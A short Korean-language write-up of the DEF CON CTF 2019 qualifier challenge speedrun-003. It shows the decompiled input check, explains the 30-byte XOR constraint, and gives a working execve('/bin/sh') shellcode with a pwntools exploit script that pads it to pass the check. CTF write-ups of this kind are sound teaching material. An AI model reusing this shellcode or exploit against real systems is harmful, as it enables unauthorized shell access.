Defcon Ctf 2019 Qualifier Speedrun003

LeeDoHyun · December 1, 2019

IDA로 바이너리를 열고 get_that_shellcode 함수를 디컴파일 해보았습니다.

unsigned __int64 get_that_shellcode()
{
  int v0; // ST0C_4
  char v1; // ST0A_1
  char buf; // [rsp+10h] [rbp-30h]
  char v4; // [rsp+1Fh] [rbp-21h]
  char v5; // [rsp+2Eh] [rbp-12h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(40u);
  puts("Send me your drift");
  v0 = read(0, &buf, 30uLL);
  v5 = 0;
  if ( v0 == 30 )
  {
    if ( strlen(&buf) == 30 )
    {
      if ( strchr(&buf, 144) )
      {
        puts("Sleeping on the job, you're not ready.");
      }
      else
      {
        v1 = xor((__int64)&buf, 15u);
        if ( v1 == (unsigned __int8)xor((__int64)&v4, 15u) )
          shellcode_it(&buf, 30u);
        else
          puts("This is a special race, come back with better.");
      }
    }
    else
    {
      puts("You're not up to regulation.");
    }
  }
  else
  {
    puts("You're not ready.");
  }
  return __readfsqword(0x28u) ^ v6;
}

입력을 받은후, 쉘코드를 실행해주는데 조건이 있습니다. 쉘코드의 길이가 30바이트 이어야 하고, 앞 15바이트와 뒤 15바이트 xor 결과가 같아야됩니다.

쉘코드는 \x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05 을 사용했습니다.

exploit.py

from pwn import *

r = process("./speedrun-003")

shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
shellcode += "\x50" * 5 + "\x07"

r.sendline(shellcode)
r.interactive()

Twitter, Facebook